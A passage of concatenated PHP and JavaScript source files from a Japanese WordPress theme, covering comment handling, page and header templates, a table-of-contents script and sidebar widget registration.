'Purebot', 'Baiduspider', 'UnwindFetchor', 'TweetmemeBot', 'MetaURI', 'PaperLiBot', 'Showyoubot', 'JS-Kit', 'PostRank', 'Crowsnest', 'PycURL', 'bitlybot', 'Hatena', 'facebookexternalhit', 'NINJA bot', 'YahooCacheSystem', 'NHN Corp.', 'Steeler', 'DoCoMo', ); foreach( $bot as $bot ) { if (stripos( $ua, $bot ) !== false){ return true; } } return false; } ///////////////////// // コメント欄コールバック ///////////////////// function callback_comment($comment, $args, $depth) { $GLOBALS['comment'] = $comment; ?> <div class="comment_block"> <div id="comment-<?php comment_ID(); ?>"> <div class="comment-author vcard"> <?php echo get_avatar($comment,'48'); ?> <?php printf(__('<b class="fn">%sさん</b>'), get_comment_author_link()) ?> </div> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('コメントは運営者による承認後に表示されます') ?></em> <br /> <?php endif; ?> <div class="comment_text"> <?php comment_text() ?> <div class="comment-meta commentmetadata"> <a href="<?php echo htmlspecialchars(get_comment_link($comment->comment_ID)) ?>"> <?php printf(__('%1$s'), get_comment_date()) ?> </a> <?php edit_comment_link(__('(編集)'),' ','') ?> </div> </div> <div class="reply"> <?php $addClass = ' btn waves-effect '; echo preg_replace('/comment-reply-link/','comment-reply-link '.$addClass,get_comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))), 1) ?> </div> </div> <?php } ///////////////////// // コメント欄関係 ///////////////////// function filter_comment_tags($data){ global $allowedtags; unset($allowedtags['a']); unset($allowedtags['abbr']); unset($allowedtags['acronym']); unset($allowedtags['b']); unset($allowedtags['div']); unset($allowedtags['cite']); unset($allowedtags['code']); unset($allowedtags['del']); unset($allowedtags['em']); unset($allowedtags['i']); unset($allowedtags['q']); unset($allowedtags['strike']); unset($allowedtags['strong']); return $data; } ///////////////////// // 記事埋め込み ///////////////////// function set_thumbnail_size(){ return 'minimum'; } function my_embed_styles() { wp_enqueue_style('wp-oembed-embed','/wp-content/themes/12hitoe-master/lib/css/wp-embed.css'); } ///////////////////// 自分が使う用の関数 ///////////////////// ///////////////////// // hex <=> rgba ///////////////////// function getConversionRgba($color_code, $alpha) { $color_code = preg_replace('/#/', '', $color_code); $rgba_code['red'] = hexdec(substr($color_code, 0, 2)); $rgba_code['green'] = hexdec(substr($color_code, 2, 2)); $rgba_code['blue'] = hexdec(substr($color_code, 4, 2)); $rgba_code['alpha'] = $alpha; $rgba_code['full'] = implode(',', $rgba_code); return $rgba_code['full']; } ///////////////////// // クラス付与 ///////////////////// function type_class($type, $n){ switch ($type) { case 'value1': return ' '.$n.'Type1 '; break; case 'value2': return ' '.$n.'Type2 '; break; case 'value3': return ' '.$n.'Type3 '; break; case 'value4': return ' '.$n.'Type4 '; break; case 'value5': return ' '.$n.'Type5 '; break; case 'value6': return ' '.$n.'Type6 '; break; } } /*出力用*/ function output_type_class($type, $n){ switch ($type) { case 'value1': echo ' '.$n.'Type1 '; break; case 'value2': echo ' '.$n.'Type2 '; break; case 'value3': echo ' '.$n.'Type3 '; break; case 'value4': echo ' '.$n.'Type4 '; break; case 'value5': echo ' '.$n.'Type5 '; break; case 'value6': echo ' '.$n.'Type6 '; break; } } ?> <file_sep><?php $dyheaderBkImg = get_option('site_dyheader_bkimg'); $dyheaderBkImgFil = get_option('site_dyheader_bkimg_filter') ? get_option('site_dyheader_bkimg_filter') : 'value1' ; $txt = get_option('site_dyheader_text') ? get_option('site_dyheader_text') : "Let's enjoy self-expression!"; $txtAnime = get_option('site_dyheader_text_animation') ? get_option('site_dyheader_text_animation') : 'value0' ; $btn = get_option('site_dyheader_button'); $btnLink = get_option('site_dyheader_button_link'); $btn2 = get_option('site_dyheader_button2'); $btn2Link = get_option('site_dyheader_button2_link'); $img = get_option('site_dyheader_img'); ?> <div id="dynamicHeader" class="dyheader <?php if($dyheaderBkImg != null) : switch ($dyheaderBkImgFil) : case 'value2': echo' dyheaderBkImgFil1' ; break ; case 'value3': echo' dyheaderBkImgFil2' ; break ; case 'value4': echo' dyheaderBkImgFil3' ; break ; case 'value5': echo' dyheaderBkImgFil4' ; break ; case 'value6': echo' dyheaderBkImgFil5' ; break ; case 'value7': echo' dyheaderBkImgFil6' ; break ; endswitch; endif; ?>"> <div class="dyheader_container"> <div class="dyheader_textArea"> <p <?php switch ($txtAnime) : case 'value1': echo ' class="dyHeaderTextMotion1"' ; break ; case 'value2': echo ' class="dyHeaderTextMotion2"' ; break ; case 'value3': echo ' class="dyHeaderTextMotion3"' ; break ; case 'value4': echo ' class="dyHeaderTextMotion4"' ; break ; endswitch; ?>><?php echo $txt ?></p> <?php if ($btn != null ): ?> <a href="<?php echo $btnLink ?>" class="waves-effect btn-large"><?php echo $btn ?></a> <?php endif; ?> <?php if ($btn2 != null ): ?> <a href="<?php echo $btn2Link ?>" class="waves-effect btn-large"><?php echo $btn2 ?></a> <?php endif; ?> </div> <?php if ($img != null) : ?> <div class="dyheader_imgArea"> <img src="<?php echo $img; ?>" alt="ヘッダー画像" class="lazyload"> </div> <?php endif; ?> </div> </div> <file_sep><?php /** * Template Name: アイキャッチ画像なし * Template Post Type: page */ ?> <?php $siteType = get_option('site_bone_type'); $articleType = get_option('site_article_type'); $tocOn = get_option('site_article_toc_page') ? get_option('site_article_toc_page') : false ; ?> <?php get_header(); ?> <div class="row contentArea showPage"> <main id="main" class="main<?php if ($siteType == 'value1' || $siteType == 'value3'){echo ' columns col l9';}?>"> <div class="main__container articleShow_wrap<?php if($tocOn==true){echo ' painttoc';} ?>"> <?php if ($articleType == 'value1'){ get_template_part('parts/noEye/type1'); }elseif($articleType == 'value2'){ get_template_part('parts/noEye/type1'); }elseif($articleType == 'value3'){ get_template_part('parts/noEye/type1'); }elseif($articleType == 'value4'){ get_template_part('parts/noEye/type1'); } ?> </div> </main> <?php if ($siteType == 'value1' || $siteType == 'value3'){ get_sidebar(); } ?> </div> <?php get_footer(); ?> <file_sep><?php $comment_ttl = get_option('site_article_omment_ttl') ? get_option('site_article_comment_ttl') : 'COMMENT' ; $args_form = array( 'title_reply' => 'コメントする', 'title_reply_to' => '返信する', 'cancel_reply_link' => 'キャンセル', 'label_submit' => '送信する', 'comment_notes_before' => '<p class="commentNotesBefore">入力エリアすべてが必須項目です。メールアドレスが公開されることはありません。</p><br>', 'comment_notes_after' => '<p class="commentNotesAfter">内容をご確認の上、送信してください。</p><br>', 'fields' => array( 'author' => '<p class="comment_form_author">'. '<label for="comment_author">お名前</label>'. '<input id="comment_author" name="author" type="text" value="'. esc_attr( $commenter['comment_author'] ). '" size="30"'.$aria_req.' placeholder="ペンネーム太郎(お名前は公開されます)" /></p>', 'email' => '<p class="comment_form_email">'. '<label for="comment_email">メールアドレス</label>'. '<input id="comment_email" name="email" '. ($html5 ? 'type="email"' : 'type="text"'). ' value="'.esc_attr($commenter['comment_author_email']). '" size="30"'.$aria_req.'placeholder="<EMAIL>(メールアドレスは非公開です)" /></p>', 'url' => '', ), 'comment_field' => '<p class="comment_form_comment"><label for="comment_comment">コメント欄</label>'. '<textarea id="comment_comment" name="comment" cols="50" rows="6" aria-required="true"'. $aria_req.' placeholder="例)記事の中の◯◯の部分はXXということでしょうか?" /></textarea></p>', ); ?> <div class="comment"> <h3 class="comment_ttl article_af_ttl"><?php echo $comment_ttl ?></h3> <div class="comment_box"> <?php if(have_comments()): ?> <div class="comment_lists"> <?php wp_list_comments(array('style'=>'div','callback'=>'callback_comment')); ?> </div> <?php endif; ?> <?php comment_form($args_form); ?> </div> </div> <file_sep><?php if(have_posts()): the_post(); ?> <article <?php post_class('articleType1'); ?>> <div class="article_container"> <!--タイトル--> <div class="article_title"> <h1><?php the_title(); ?></h1> </div> <!--本文--> <div class="article_content"> <?php the_content(); ?> </div> </div> </article> <?php endif; ?> <file_sep><?php $siteType = get_option('site_bone_type') ? get_option('site_bone_type') : 'value1' ; $carouselType = get_option('site_carousel_on') ? get_option('site_carousel_on') : 'value1' ; ?> <?php get_header(); ?> <?php if($siteType != 'value4'): ?> <?php if($carouselType!='value1'){get_template_part('parts/others/carousel');} ?> <div class="row contentArea indexPage"> <main id="main" class="main<?php if ($siteType == 'value1' || $siteType == 'value3'){ echo ' columns col l9';}?>"> <div class="main__container articleList_wrap"> <?php if(have_posts()): while(have_posts()): the_post(); ?> <?php get_template_part('parts/others/loop') ?> <?php endwhile; endif; ?> </div> <?php m_pagination(); ?> </main> <?php if ($siteType == 'value1' || $siteType == 'value3'){ get_sidebar(); } ?> </div> <?php endif; ?> <?php get_footer(); ?> <file_sep><?php $anmHook = ' data-delighter="start:0.95"'; $sec1anime = get_option('site_feature_section_animation') ? get_option('site_feature_section_animation') : 'value0' ; $title = get_option('site_feature_section_ttl'); $description = get_option('site_feature_section_description'); $item1Icn = get_option('site_feature_section_item1_icon') ? get_option('site_feature_section_item1_icon') : '<i class="fas fa-shield-alt"></i>'; $item1Ttl = get_option('site_feature_section_item1_ttl'); $item1Dsc = get_option('site_feature_section_item1_description'); $item2Icn = get_option('site_feature_section_item2_icon') ? get_option('site_feature_section_item2_icon') : '<i class="fas fa-heartbeat"></i>'; $item2Ttl = get_option('site_feature_section_item2_ttl'); $item2Dsc = get_option('site_feature_section_item2_description'); $item3Icn = get_option('site_feature_section_item3_icon') ? get_option('site_feature_section_item3_icon') : '<i class="fas fa-coins"></i>'; $item3Ttl = get_option('site_feature_section_item3_ttl'); $item3Dsc = get_option('site_feature_section_item3_description'); $sec2anime = get_option('site_feature_section2_animation') ? get_option('site_feature_section2_animation') : 'value0' ; $sec2ttl = get_option('site_feature_section2_ttl'); $sec2dsc = get_option('site_feature_section2_description'); $sec2bkImg = get_option('site_feature_section2_bk_img'); $sec2bkColor = get_option('site_feature_section2_bk_color'); $sec3anime = get_option('site_feature_section3_animation') ? get_option('site_feature_section3_animation') : 'value0' ; $sec3ttl = get_option('site_feature_section3_ttl'); $sec3dsc = get_option('site_feature_section3_description'); $sec3bkImg = get_option('site_feature_section3_bk_img'); $sec3bkColor = get_option('site_feature_section3_bk_color'); $sec4anime = get_option('site_feature_section4_animation') ? get_option('site_feature_section4_animation') : 'value0' ; $sec4q1 = get_option('site_feature_q1'); $sec4a1 = get_option('site_feature_a1'); $sec4q2 = get_option('site_feature_q2'); $sec4a2 = get_option('site_feature_a2'); $sec4q3 = get_option('site_feature_q3'); $sec4a3 = get_option('site_feature_a3'); $sec4q4 = get_option('site_feature_q4'); $sec4a4 = get_option('site_feature_a4'); $sec4q5 = get_option('site_feature_q5'); $sec4a5 = get_option('site_feature_a5'); $sec5anime = get_option('site_feature_section5_animation') ? get_option('site_feature_section5_animation') : 'value0' ; $sec5info = get_option('site_feature_section5_info'); $sec5map = get_option('site_feature_section5_map'); $sec6anime = get_option('site_feature_section6_animation') ? get_option('site_feature_section6_animation') : 'value0' ; $sec6dsc = get_option('site_feature_section6_description'); $sec6bkImg = get_option('site_feature_section6_bk_img'); $sec6bkColor = get_option('site_feature_section6_bk_color'); function addAnimeClass($e){ switch ($e) : case 'value1' : echo 'class="d_anime1"' ; break ; case 'value2' : echo 'class="d_anime2"' ; break ; case 'value3' : echo 'class="d_anime3"' ; break ; case 'value4' : echo 'class="d_anime4"' ; break ; case 'value5' : echo 'class="d_anime5"' ; break ; case 'value6' : echo 'class="d_anime6"' ; break ; case 'value7' : echo 'class="d_anime7"' ; break ; case 'value8' : echo 'class="d_anime8"' ; break ; endswitch; } ?> <div class="features"> <section id="feature1"<?php addAnimeClass($sec1anime); ?>> <div class="container featureContainer"> <div class="f_ttl"<?php if($sec1anime != 'value0') echo $anmHook ?>> <h2><?php echo $title ?></h2> <p><?php echo $description ?></p> </div> <?php if($item1Ttl != null || $item1Dsc != null): ?> <div class="f_items"<?php if($sec1anime != 'value0') echo $anmHook ?>> <div class="f_item"> <?php if($item1Icn != null){ echo $item1Icn; } ?> <?php if($item1Ttl != null){ echo "<p>${item1Ttl}</p>"; } ?> <?php if($item1Dsc != null){ echo "<span>${item1Dsc}</span>"; } ?> </div> <?php if($item2Ttl != null || $item2Dsc != null): ?> <div class="f_item"<?php if($sec1anime != 'value0') echo $anmHook ?>> <?php if($item2Icn != null){ echo $item2Icn; } ?> <?php if($item2Ttl != null){ echo "<p>${item2Ttl}</p>"; } ?> <?php if($item2Dsc != null){ echo "<span>${item2Dsc}</span>"; } ?> </div> <?php endif; ?> <?php if($item3Ttl != null || $item3Dsc != null): ?> <div class="f_item"<?php if($sec1anime != 'value0') echo $anmHook ?>> <?php if($item3Icn != null){ echo $item3Icn; } ?> <?php if($item3Ttl != null){ echo "<p>${item3Ttl}</p>"; } ?> <?php if($item3Dsc != null){ echo "<span>${item3Dsc}</span>"; } ?> </div> <?php endif; ?> </div><?php // .f_items ?> <?php endif; //END アイテム1の有無 ?> </div><?php // .container ?> </section> <?php if($sec2ttl!=null || $sec2dsc!=null): ?> <section id="feature2"<?php addAnimeClass($sec2anime); ?>> <div class="container featureContainer"> <?php if($sec2ttl!=null): ?> <h2<?php if($sec2anime != 'value0') echo $anmHook ?>><?php echo $sec2ttl ?></h2> <?php endif; ?> <?php if($sec2dsc!=null): ?> <p<?php if($sec2anime != 'value0') echo $anmHook ?>><?php echo $sec2dsc ?></p> <?php endif; ?> </div> </section> <?php endif; //END sec2 ?> <?php if($sec3ttl!=null || $sec3dsc!=null): ?> <section id="feature3"<?php addAnimeClass($sec3anime); ?>> <div class="container featureContainer"> <?php if($sec3ttl!=null): ?> <h2<?php if($sec3anime != 'value0') echo $anmHook ?>><?php echo $sec3ttl ?></h2> <?php endif; //END sec3ttl ?> <?php if($sec3dsc!=null): ?> <p<?php if($sec3anime != 'value0') echo $anmHook ?>><?php echo $sec3dsc ?></p> <?php endif; //END sec3dec ?> </div> </section> <?php endif; //END sec3 ?> <?php if($sec4q1 != null): ?> <section id="feature4"<?php addAnimeClass($sec4anime); ?>> <div class="container featureContainer"> <h2>よくある質問</h2> <ul class="collapsible"<?php if($sec4anime != 'value0') echo $anmHook ?>> <li> <div class="collapsible-header"> <i class="fas fa-question-circle"></i> <span><?php echo $sec4q1 ?></span> <i class="fas fa-angle-down"></i> </div> <div class="collapsible-body"> <span><?php echo $sec4a1 ?></span> </div> </li> <?php if($sec4q2 != null): ?> <li> <div class="collapsible-header"> <i class="fas fa-question-circle"></i> <span><?php echo $sec4q2 ?></span> <i class="fas fa-angle-down"></i> </div> <div class="collapsible-body"> <span><?php echo $sec4a2 ?></span> </div> </li> <?php endif; //END Q2 ?> <?php if($sec4q3 != null): ?> <li> <div class="collapsible-header"> <i class="fas fa-question-circle"></i> <span><?php echo $sec4q3 ?></span> <i class="fas fa-angle-down"></i> </div> <div class="collapsible-body"> <span><?php echo $sec4a3 ?></span> </div> </li> <?php endif; //END Q3 ?> <?php if($sec4q4 != null): ?> <li> <div class="collapsible-header"> <i class="fas fa-question-circle"></i> <span><?php echo $sec4q4 ?></span> <i class="fas fa-angle-down"></i> </div> <div class="collapsible-body"> <span><?php echo $sec4a4 ?></span> </div> </li> <?php endif; //END Q4 ?> <?php if($sec4q5 != null): ?> <li> <div class="collapsible-header"> <i class="fas fa-question-circle"></i> <span><?php echo $sec4q5 ?></span> <i class="fas fa-angle-down"></i> </div> <div class="collapsible-body"> <span><?php echo $sec4a5 ?></span> </div> </li> <?php endif; //END Q5 ?> </ul> </div> </section> <?php endif; //END sec4 ?> <?php if($sec5info != null || $sec5map != null): ?> <section id="feature5"<?php addAnimeClass($sec5anime); ?>> <div class="container featureContainer"> <?php if($sec5info != null): ?> <div<?php if($sec5anime != 'value0') echo $anmHook ?>> <h2>INFO</h2> <?php echo $sec5info ?> </div> <?php endif; ?> <?php if($sec5map != null): ?> <div class="feature_map"<?php if($sec5anime != 'value0') echo $anmHook ?>> <h2>MAP</h2> <?php echo $sec5map ?> </div> <?php endif; ?> </div> </section> <?php endif; //END sec5 ?> <?php if($sec6dsc!=null): ?> <section id="feature6"<?php addAnimeClass($sec6anime); ?>> <div class="container featureContainer"> <div<?php if($sec1anime != 'value4') echo $anmHook ?>> <?php echo $sec6dsc ?> </div> </div> </section> <?php endif; //END sec6 ?> </div> <file_sep><?php //シンプル(普通) ?> <?php if(have_posts()): the_post(); ?> <article <?php post_class('articleType1'); ?>> <div class="article_container"> <div class="article_meta_info"> <!--投稿日--> <span class="article_date"> <time datetime="<?php echo get_the_date('Y-m-d'); ?>"> <?php echo get_post_time('Y/m/d'); ?> </time> <?php if(get_the_date('Y/m/d') != get_the_modified_date('Y/m/d')): ?> <time datetime="<?php echo the_modified_date('Y-m-d'); ?>"> <?php echo the_modified_date('Y/m/d'); ?> </time> <?php endif; ?> </span> </div> <!--タイトル--> <div class="article_title"> <h1><?php the_title(); ?></h1> </div> <!--アイキャッチ--> <div class="article_thumbnail"> <?php if (has_post_thumbnail()): ?> <?php the_post_thumbnail('eyecatch', array('alt' => $ttl, 'class' => 'fadeinimg lazyload')); ?> <?php else: ?> <img src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="<?php echo $ttl ?>" width="520" height="300" class="fadeinimg lazyload"> <?php endif; ?> </div> <!--本文--> <div class="article_content"> <?php the_content(); ?> </div> </div> <?php ld_json(); ?> </article> <?php endif; ?> <file_sep>const tocWrap = document.querySelector(".toc_body"); const tocSide = document.querySelector(".widget_toc_body"); if (tocWrap){ let postContent = document.querySelector(".painttoc"); let hTags = postContent.querySelectorAll("h2, h3"); if (hTags.length > 0) { let tocList = document.createElement("ul"); let listSrc = ""; let h3List = ""; for (let i = 0; i < hTags.length; i++) { let theHeading = hTags[i]; theHeading.setAttribute('id', "toc_id" + i); if (theHeading.tagName === 'H2') { if (h3List !== "") { listSrc += '<ul>' + h3List + '</ul>'; h3List = ""; } listSrc += '</li><li><a href="#toc_id' + i + '">' + theHeading.textContent + '</a>'; } else if (theHeading.tagName === 'H3') { h3List += '<li><a href="#toc_id' + i + '">' + theHeading.textContent + '</a></li>'; } } if (h3List !== "") { listSrc += '<ul>' + h3List + '</ul></li>'; } else { listSrc += '</li>'; } tocList.innerHTML = listSrc; tocWrap.appendChild(tocList); // サイドバーに目次ウィジェットがある場合 if(tocSide){ let tocListSide = tocList.cloneNode(true); tocSide.appendChild(tocListSide); } } } <file_sep><?php get_header(); ?> <div class="row contentArea showPage"> <main id="main" class="<?php //サイト構造がサイドバーを含むものならグリッドクラス付与 $sideOn = get_option('site_bone_type'); if ($sideOn == 'value1' || $sideOn == 'value3'){ echo 'col s12 l9'; } ?> main"> <div class="main__container articleShow_wrap"> <article class="notFound"> <div class="article_container"> <div class="article_title"> <h1>記事が見つかりませんでした</h1> </div> <div class="article_thumbnail"> <img src="<?php echo get_template_directory_uri()?>/images/NotFound/<?php echo rand(1,5)?>.png" alt="NotFound" class="fadeinimg lazyload" width="520" height="300"> </div> <div class="article_content"> <p>記事が見つかりませんでした。下記から検索ができます。</p> <div class="notfound_block"> <p><span class="main_c"><i class="fas fa-search"></i></span>検索して探す</p> <form method="get" action="<?php bloginfo('url'); ?>"> <div class="search_form_wrap"> <input id="s_nf" name="s" type="text" required> <label for="s_nf" class="input_placeholder">検索キーワードを入力</label> <button type="submit" aria-label="検索ボタン"><i class="fas fa-search"></i></button> </div> </form> </div> <div class="notfound_block notfound_cat"> <ul> <?php wp_list_categories('title_li=<p><span class="main_c"><i class="fas fa-folder-open"></i></span>カテゴリから探す</p>'); ?> </ul> </div> <?php $tag_num = wp_count_terms('post_tag'); ?> <?php if ($tag_num.size > 0): ?> <div class="notfound_block article_tag"> <p><span class="main_c"><i class="fas fa-tag"></i></span>タグから探す</p> <?php wp_tag_cloud(); ?> </div> <?php endif; ?> </div> </div> </article> <style> article.notFound h1{ text-align: center; } input#s_nf:focus ~ .input_placeholder{ display: none; } .notfound_block:first-of-type { margin-top: 30px; padding-top: 30px; border-top: 5px dashed #efefef; } .notfound_block{ padding: 0; margin-bottom: 50px; } .notfound_block p{ font-size: 1.1em; font-weight: bold; } .notfound_cat>ul>li{ padding-left: 0; } .notfound_cat>ul>li::before { display: none; } span.main_c>svg{ margin-right: 10px; } .article_tag span{ font-size:1em; margin-right: 0; } </style> </div> </main> <?php if ($sideOn == 'value1' || $sideOn == 'value3'){ get_sidebar(); } ?> </div> <?php get_footer(); ?> <file_sep><?php $onlyLogo = get_option('only_logo'); $logo = get_theme_mod('custom_logo'); $logoUrl = wp_get_attachment_url( $logo ); // ホーム画面ではサイトタイトルにh1、それ以外では記事タイトルにh1 if(is_home() || is_front_page()) { $title_tag_start = '<h1>'; $title_tag_end = '</h1>'; } else { $title_tag_start = '<p>'; $title_tag_end = '</p>'; }// END ishome()||is_front_page() $centering = get_option('site_nav_centering_title') ? get_option('site_nav_centering_title') : false; $fixed = get_option('site_nav_fixed_top') ? get_option('site_nav_fixed_top') : false; $menuIcon = get_option('site_nav_menu_icon') ? get_option('site_nav_menu_icon') : 'value1' ; $extend = get_option('site_nav_extended') ? get_option('site_nav_extended') : false; $extend_text = get_option('site_nav_extended_text') ? get_option('site_nav_extended_text') : 'SAMPLE' ; $extend_uri = get_option('site_nav_extended_uri') ? get_option('site_nav_extended_uri') : 'https://takasaki.work/12hitoe' ; $news = get_option('site_carousel_news_on') ? get_option('site_carousel_news_on') : false ; $newstext = get_option('site_carousel_news') ? get_option('site_carousel_news') : 'SAMPLE' ; $newsurl = get_option('site_carousel_news_link') ? get_option('site_carousel_news_link') : '#'; ?> <?php if($fixed == true){echo '<div class="navbar-fixed">'; } ?> <nav<?php if($extend == true){echo ' class="nav-extended"';} ?>> <div class="nav-wrapper"> <?php echo $title_tag_start; ?> <a href="<?php echo home_url(); ?>" class="brand-logo siteTitle<?php if ($centering == true) { echo ' center'; } ?>"> <?php if(has_custom_logo()): ?> <img src="<?php echo $logoUrl ?>" alt="ロゴ" class="custom-logo fadeinimg lazyload" /> <?php endif; ?> <?php if ($onlyLogo == false) { bloginfo('name'); } ?> </a> <?php echo $title_tag_end; ?> <a href="#" data-target="mobile-sidenav" class="sidenav-trigger" aria-label="ナビメニューボタン"> <?php switch ($menuIcon) { case 'value1': echo '<i class="fas fa-bars"></i>'; break; case 'value2': echo '<i class="fas fa-ellipsis-v"></i>'; break; case 'value3': echo '<i class="fas fa-ellipsis-h"></i>'; break; case 'value4': echo '<i class="fas fa-hamburger"></i>'; break; } ?> </a> <?php if (has_nav_menu('nav_header')){ wp_nav_menu(array( 'theme_location' => 'nav_header', 'container' => 'ul', 'menu_id' => 'topnav', 'menu_class' => 'right hide-on-med-and-down', 'fallback' => '', )); } ?> </div> <?php if($extend == true): ?> <div class="nav-content"> <span><?php echo $extend_text ?></span> <a class="btn-floating btn-large halfway-fab waves-effect" href="<?php echo $extend_uri ?>" aria-label="拡張メニューリンク"> <i class="fas fa-link"></i> </a> </div> <?php endif; ?> </nav> <?php if ($fixed == true){ echo '</div>'; } ?> <?php get_template_part('parts/header/sp_nav_menu') ?> <?php if($news == true): ?> <a href="<?php echo $newsurl ?>" class="news"> <span><?php echo $newstext ?></span> </a> <?php endif; ?> <file_sep><?php ////////////////////////////// // 4 ウィジェットの新規登録 ////////////////////////////// function register_widgets(){ /***** ウィジェットエリア登録 ******/ //通常のサイドバー register_sidebar(array( 'name' => 'サイドバー', 'id' => 'side_widget', 'description' => '通常のサイドバーです。', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="sidebar_title">', 'after_title' => '</h4>', )); //固定サイドバー register_sidebar(array( 'name' => '固定サイドバー', 'id' => 'fixed_side_widget', 'description' => 'スクロールに追従する固定サイドバーです。', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="sidebar_title">', 'after_title' => '</h4>', )); //サイドメニュー register_sidebar(array( 'name' => 'サイドメニュー', 'id' => 'sidenav_widget', 'description' => 'スマホでのみ表示されるサイドメニューです', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="sidenav_widget_title">', 'after_title' => '</h4>', )); //最初の見出しの前 register_sidebar(array( 'name' => '記事内の見出し前', 'id' => 'ad_before_h2', 'description' => '記事内の最初の見出し前です。広告など設置するのにご使用いただけます。(注意:目次は自動挿入されるため設置不要です)', 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', )); //記事内最後 register_sidebar(array( 'name' => '記事内の下部(シェアボタン前)', 'id' => 'ad_after_content', 'description' => '記事内の最下部です。広告など設置するのにご使用いただけます。', 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', )); register_sidebar(array( 'name' => '記事内の下部(シェアボタン後)', 'id' => 'ad_bottom_content', 'description' => '記事内の最下部です。広告など設置するのにご使用いただけます。', 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', )); //フッター左 register_sidebar(array( 'name' => 'フッターウィジェット(左)', 'id' => 'footer_left_widget', 'description' => 'フッターの左側に表示されるウィジェットです。真ん中と右のフッターウィジェットに何も配置されていない場合は左詰めになります。', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="footer_w_title">', 'after_title' => '</h4>', )); //フッター真ん中 register_sidebar(array( 'name' => 'フッターウィジェット(真ん中)', 'id' => 'footer_center_widget', 'description' => 'フッターの真ん中に表示されるウィジェットです。左と右のフッターウィジェットに何も配置されていない場合は左詰めになります。', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="footer_w_title">', 'after_title' => '</h4>', )); //フッター右 register_sidebar(array( 'name' => 'フッターウィジェット(右)', 'id' => 'footer_right_widget', 'description' => 'フッターの右側に表示されるウィジェットです。左と真ん中のフッターウィジェットに何も配置されていない場合は左詰めになります。', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="footer_w_title">', 'after_title' => '</h4>', )); /***** ウィジェット登録 ******/ /**************** 目次 ****************/ class TOC_Widget extends WP_Widget{ function __construct(){ parent::__construct('toc_widget','目次',array( 'description' => '記事の目次を表示します', )); } public function widget($args, $instance){ $toc_ttl = $instance['toc_ttl'] ? $instance['toc_ttl'] : 'CONTENT' ; $tocOff = get_option('site_article_toc'); $tocOnPage = get_option('site_article_toc_page'); if ($tocOff == false && is_single() || $tocOnPage == true && is_page()){ echo $args['before_widget']; echo '<h4 class="sidebar_title">'.$toc_ttl.'</h4><div class="widget_toc_body"></div>'; echo $args['after_widget']; } } public function form($instance){ $toc_ttl = $instance['toc_ttl']; $toc_name = $this->get_field_name('toc_ttl'); $toc_id = $this->get_field_id('toc_ttl'); ?> <p> <label for="<?php echo $toc_id; ?>">タイトル:</label> <input class="widefat" id="<?php echo $toc_id; ?>" name="<?php echo $toc_name ?>" type="text" value="<?php echo esc_attr($toc_ttl); ?>"> </p> <?php } public function update($new_instance, $old_instance) { $instance = array(); $instance['toc_ttl'] = (!empty($new_instance['toc_ttl'])) ? $new_instance['toc_ttl'] : '' ; return $instance; } } /**************** CTA ****************/ class CTA_Widget extends WP_Widget{ function __construct(){ parent::__construct('cta_widget','CTA',array( 'description' => 'CTA(call to action)を表示します', )); } public function widget($args, $instance){ $cta_img = $instance['cta_img']; $cta_ttl = $instance['cta_ttl'] ? $instance['cta_ttl'] : 'CTA TITLE'; $cta_text = $instance['cta_text']? $instance['cta_text'] : 'CTAはこんな感じで表示されます。'; $cta_btn = $instance['cta_btn'] ? $instance['cta_btn'] : 'CLICK ME' ; $cta_url = $instance['cta_url'] ? $instance['cta_url'] : '#' ; echo $args['before_widget']; echo '<div class="cta">'. '<div class="cta_body delighter" data-delighter="start:0.8">'; if(!empty($cta_img)){ echo '<div class="cta_img_area">'. '<img width="200" data-src="'.$cta_img.'" alt="CTAエリアイメージ" class="lazyload fadeinimg">'. '</div>'; } echo '<div class="cta_text_area">'. '<h4 class="cta_ttl">'.$cta_ttl.'</h4>'. '<div class="cta_text">'.$cta_text.'</div>'. '<a href="'.$cta_url.'" class="btn waves-effect cta_btn delighter" data-delighter="start:0.6">'.$cta_btn.'</a>'. '</div></div></div>'; echo $args['after_widget']; } public function form($instance){ $cta_img = $instance['cta_img']; $img_name = $this->get_field_name('cta_img'); $img_id = $this->get_field_id('cta_img'); $cta_ttl = $instance['cta_ttl'] ? $instance['cta_ttl'] : 'CTA TITLE'; $cta_n1 = $this->get_field_name('cta_ttl'); $cta_id1 = $this->get_field_id('cta_ttl'); $cta_text = $instance['cta_text']? $instance['cta_text'] : 'CTAはこんな感じで表示されます。'; $cta_n2 = $this->get_field_name('cta_text'); $cta_id2 = $this->get_field_id('cta_text'); $cta_btn = $instance['cta_btn'] ? $instance['cta_btn'] : 'CLICK ME' ; $cta_n3 = $this->get_field_name('cta_btn'); $cta_id3 = $this->get_field_id('cta_btn'); $cta_url = $instance['cta_url'] ? $instance['cta_url'] : '#' ; $cta_n4 = $this->get_field_name('cta_url'); $cta_id4 = $this->get_field_id('cta_url'); ?> <p> <label for="<?php echo $img_id; ?>">CTA画像:</label><br> <?php $show_sml = ''; $show_img = ''; if (empty($cta_img)){ $show_img = ' style="display: none;" '; }else{ $show_sml = ' style="display: none;" '; } ?> <small class="fixed-image-text " <?php echo $show_sml; ?>>画像が未選択です</small> <p><img class="fixed-image-view" src="<?php echo $cta_img; ?>" width="260" <?php echo $show_img; ?>></p> <input class="fixed-image-url" id="<?php echo $img_id; ?>" name="<?php echo $img_name ?>" type="text" value="<?php echo $cta_img; ?>"> <button type="button" class="fixed-select-image">画像を選択</button> <button type="button" class="fixed-delete-image" <?php echo $show_img; ?>>画像を削除</button> <script> jQuery(document).ready(function($) { var frame; const placeholder = jQuery('.fixed-image-text'); const imageUrl = jQuery('.fixed-image-url'); const 